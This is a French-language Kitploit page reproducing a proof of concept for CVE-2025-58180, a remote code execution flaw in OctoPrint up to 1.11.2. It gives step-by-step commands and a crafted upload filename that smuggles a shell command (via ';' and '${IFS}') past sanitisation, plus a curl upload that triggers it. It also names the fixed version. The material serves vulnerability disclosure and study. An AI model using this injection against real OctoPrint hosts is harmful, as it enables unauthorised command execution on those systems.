Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-58180 — Dans OctoPrint version <=1.11.2, un attaquant ayant un accès de téléchargement de fichier (par exemple, une clé API valide ou une session) peut créer un nom de fichier malveillant qui contourne l'assainissement et est ensuite exécuté par le système d'événements d'OctoPrint, conduisant à une exécution de code à distance (RCE) sur l'hôte | Kitploit
Outils/GitHubGitHub/prabhatverma47/cve-2025-58180
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et Contrôle
GitHubprabhatverma47/cve-2025-58180

CVE-2025-58180

Voir le dépôt
il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Dans OctoPrint version <=1.11.2, un attaquant ayant un accès de téléchargement de fichier (par exemple, une clé API valide ou une session) peut créer un nom de fichier malveillant qui contourne l'assainissement et est ensuite exécuté par le système d'événements d'OctoPrint, conduisant à une exécution de code à distance (RCE) sur l'hôte

Partager

CVE-2025-58180 RCE dans OctoPrint via nom de fichier non assaini lors du téléchargement

Dans OctoPrint version <=1.11.2, un attaquant disposant d’un accès au téléchargement de fichiers (par exemple, une clé API ou une session valide) peut créer un nom de fichier malveillant qui contourne l’assainissement et qui est ensuite exécuté par le système d’événements d’OctoPrint, conduisant à une exécution de code à distance (RCE) sur l’hôte


Preuve de concept : Étapes pour reproduire la vulnérabilité

Étape 1 : Informations de version

Téléchargé la dernière version stable : OctoPrint 1.11.2

image

Étape 2 : Lancer OctoPrint

root@kitploit:~
octoprint serve --port 5000 --debug
  • Ouvrir http://127.0.0.1:5000 dans le navigateur.
  • Passer par l’assistant initial → créer un utilisateur avec les paramètres par défaut (désactivés : connectivité, anonyme, plugin).
  • Récupérer la clé API dans Paramètres → API → sauvegarder pour plus tard. image
  • Arrêter le service OctoPrint une fois les étapes ci-dessus terminées.


    Étape 3 : Configurer l’abonnement aux événements

    Suivant la documentation des événements OctoPrint :

    Modifier ~/.octoprint/config.yaml :

    root@kitploit:~
    events:
      enabled: true
      subscriptions:
        - event: FileAdded
          type: system
          debug: true
          command: "{path}"
    
    image

    Étape 4 : Créer un exemple de G-code

    Créer /tmp/gcode/ok.gcode :

    root@kitploit:~
    ; minimal gcode
    G28
    M105
    

    Redémarrer le service OctoPrint.


    Étape 5 : Preuve de concept RCE

    1. Exporter la clé API :
    root@kitploit:~
    export API_KEY='<clé récupérée précédemment depuis l’interface web>'
    
    1. Vérifier que le fichier n’existe pas :
    root@kitploit:~
    ls -la /tmp/test123
    
    1. Créer une charge utile de nom de fichier malveillant :
      INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'

    Explication : ${IFS} est le séparateur de champ interne du shell (généralement un espace). Il contourne l’assainissement lorsqu’il est injecté.

    1. Envoyer une requête curl :
    root@kitploit:~
    curl -sS -X POST -H "X-Api-Key: $API_KEY" \
      -F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
      "http://127.0.0.1:5000/api/files/local"
    
    1. Vérifier l’exécution :
    root@kitploit:~
    ls -la /tmp/test123
    
    image

    Si /tmp/test123 existe, la commande injectée s’est exécutée avec succès → RCE confirmée.


    Explication du flux

    root@kitploit:~
    [Téléchargement utilisateur avec nom de fichier malveillant]
            │
            ▼
    server/api/files.py → accepte le nom brut (les métacaractères survivent à sanitize_name)
            │
            ▼
    events.py (EventManager.fire "FileAdded") → la charge utile {path} inclut les caractères bruts
            │
            ▼
    abonné aux commandes système → subprocess.check_call(..., shell=True)
            │
            ▼
    [Les métacaractères shell injectés s’exécutent comme des commandes OS]
    

    Résumé

    • Lorsqu’un fichier est téléchargé :
    1. OctoPrint accepte le nom du fichier (avec un assainissement limité).
    2. Il déclenche un événement FileAdded.
    3. Si des commandes système sont abonnées à cet événement, le nom de fichier brut (incluant ;, ${IFS}, etc.) est passé dans un shell.
    4. Cela permet aux commandes injectées dans le nom de fichier de s’exécuter sur l’hôte.

    Résultat : Exécution de code à distance (RCE) sur le système hôte.

    Références

    • CVE attribué:(CVE-2025-58180) GHSA-49mj-x8jp-qvfc
    • Version corrigée : 1.11.3

    Télécharger l’outil